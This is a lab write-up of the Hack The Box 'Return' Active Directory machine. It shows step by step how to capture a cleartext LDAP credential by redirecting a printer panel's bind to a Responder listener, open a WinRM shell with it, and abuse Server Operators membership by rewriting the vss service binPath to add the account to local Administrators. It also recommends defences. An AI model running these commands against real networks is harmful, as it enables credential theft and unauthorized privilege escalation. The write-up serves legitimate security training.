Skip to content

Return — LDAP Credential Capture via Printer Admin Panel

Tools
rustscan, responder, netexec, evil-winrm, sc.exe
Skill demonstrated
Credential capture through a misconfigured appliance LDAP configuration and service-based privilege escalation
Tags
  • windows
  • active-directory
  • ldap
  • credential-capture
  • server-operators
Field Value
Difficulty Easy
Target environment Domain-joined Windows Server (Active Directory)
Starting position Unauthenticated network access
Objective Escalate from a misconfigured printer admin panel to local Administrator
Outcome Cleartext LDAP service-account capture; local Administrator via a reconfigured service

Return is an Easy-rated Hack The Box Windows Active Directory lab in which a misconfigured printer administration panel leaks a service account’s credentials through a cleartext LDAP bind, and that account’s Server Operators membership is then abused for local Administrator access. The chain uses only legitimate functionality and exploits no CVE. Target addresses, the domain, account names, and credential values are replaced with role-based placeholders, and command syntax is preserved. Outcomes the source records without captured output are reported as documented results.

Attack path: Printer admin panel → LDAP server address redirected to a credential listener → cleartext service credential captured → WinRM access → Server Operators service reconfiguration → local Administrator

  • Target: domain-joined Windows Server (hostname <TARGET_HOSTNAME>) in the <TARGET_DOMAIN> domain.
  • Exposed services: DNS (53), HTTP/IIS 10.0 (80), Kerberos (88), LDAP (389), SMB (445), and WinRM (5985).
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: obtain user access and escalate to local Administrator through the printer admin panel’s attack surface and the domain’s group configuration.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan with version detection and default scripts exposes six services on a domain-joined host.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <SCAN_OUTPUT>

Truncated scan output:

53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows AD LDAP (Domain: <TARGET_DOMAIN>)
445/tcp open microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0

Significance: DNS, Kerberos, LDAP, and SMB together identify an Active Directory host, and WinRM on 5985 accepts PowerShell over HTTP, so any valid domain credential with remote-access rights yields a shell.

Result: the scan identifies a domain-joined Windows Server exposing LDAP, Kerberos, HTTP, and WinRM.

2. LDAP Credential Capture via the Printer Panel

Section titled “2. LDAP Credential Capture via the Printer Panel”

Observation: the HTTP service hosts an “HTB Printer Admin Panel” whose Settings page exposes LDAP connection fields (server address, port, username, and password) and attempts an LDAP bind whenever the settings are saved. Pointing the server address at an attacker-controlled listener redirects that bind to the attacker.

Action: start a credential listener on the attacker interface, then set the panel’s LDAP server address to the attacker and save.

Terminal window
sudo responder -I <ATTACK_INTERFACE>

The listener captures the cleartext bind after the settings are saved:

[LDAP] Cleartext Client : <TARGET_IP>
[LDAP] Cleartext Username : <TARGET_DOMAIN>\<SERVICE_ACCOUNT>
[LDAP] Cleartext Password : <SERVICE_ACCOUNT_PASSWORD>

Significance: LDAP carries bind credentials in cleartext unless LDAPS or channel binding/token protection is enforced. Because the panel stores and reuses the credential, the next save discloses it directly to the listener.

Result: a cleartext LDAP bind captures the service account’s credential.

Observation: the captured credential authenticates over WinRM.

Action: validate the credential, then open an interactive session.

Terminal window
nxc winrm <TARGET_DOMAIN> -u '<SERVICE_ACCOUNT>' -p '<SERVICE_ACCOUNT_PASSWORD>'
[+] <TARGET_DOMAIN>\<SERVICE_ACCOUNT>:<SERVICE_ACCOUNT_PASSWORD> (Pwn3d!)
Terminal window
evil-winrm -i <TARGET_DOMAIN> -u '<SERVICE_ACCOUNT>' -p '<SERVICE_ACCOUNT_PASSWORD>'

Significance: the (Pwn3d!) marker confirms the account can authenticate and execute over WinRM. The same credential recovered from the LDAP bind opens the interactive session; no other secret is reused.

Result: an interactive WinRM session is established as the service account.

4. Privilege Escalation via Server Operators

Section titled “4. Privilege Escalation via Server Operators”

Observation: the service account is a member of the built-in Server Operators group, which can stop, start, and reconfigure services on the host.

Action: confirm group membership, repoint an existing service’s binary path to add the account to local Administrators, restart the service, and reconnect to obtain a fresh token.

Terminal window
whoami /groups
BUILTIN\Server Operators
Terminal window
sc.exe config vss binPath= "cmd.exe /c net localgroup Administrators <SERVICE_ACCOUNT> /add"
sc.exe stop vss
sc.exe start vss

After the service runs the new binary path, reconnecting over WinRM shows the updated membership:

Terminal window
net localgroup Administrators
Members
-------------------------------------------------------------------------------
<LOCAL_ADMINISTRATOR>
Domain Admins
Enterprise Admins
<SERVICE_ACCOUNT>

Significance: Server Operators can rewrite service definitions, so changing the vss binary path turns service control into code execution as SYSTEM, adding the account to local Administrators. WinRM tokens capture group membership at session creation, so the reconnection is required to reflect the new rights.

Result: the service account appears in local Administrators, confirming Administrator-level access on the host.

Decision Rationale
Repointed the existing vss service rather than creating one Server Operators can reconfigure existing service definitions, so no new service was needed.
Reconnected over WinRM after the group change Existing tokens reflect the group membership captured when the session was created.

The evidence establishes local Administrator access on the host, reached without exploiting a CVE: every step used legitimate Active Directory and Windows service functionality. The limiting factors were cleartext LDAP transport, reusable credentials stored by the printer panel, and excessive Server Operators membership on the service account. HTTP exposure was limited to reaching the administrative panel.

The actions below are recommendations; only the abuse chain itself was exercised in the lab.

  1. Cleartext LDAP transport. The printer panel stored and reused an LDAP bind credential, and the bind was sent unencrypted to a configurable server address, so redirecting that address disclosed the credential. Recommendation: enforce LDAPS and enable LDAP server signing and channel binding, and require authentication on appliance management interfaces. Detection: alert on LDAP binds from service hosts to unexpected destinations.
  2. Excessive service-account privilege. The service account held Server Operators membership, which let it rewrite a service binary path and obtain SYSTEM-level execution to join local Administrators. Recommendation: apply least privilege and remove interactive service accounts from privileged built-in groups. Detection: audit membership of Server Operators and other privileged groups, and alert on service binPath changes.
  3. Credential-bearing appliance panels. The admin panel was reachable and stored a reusable LDAP credential. Recommendation: network-restrict management interfaces, rotate any credential a panel caches, and keep credential material out of web-facing configuration.
Edit page

Last updated: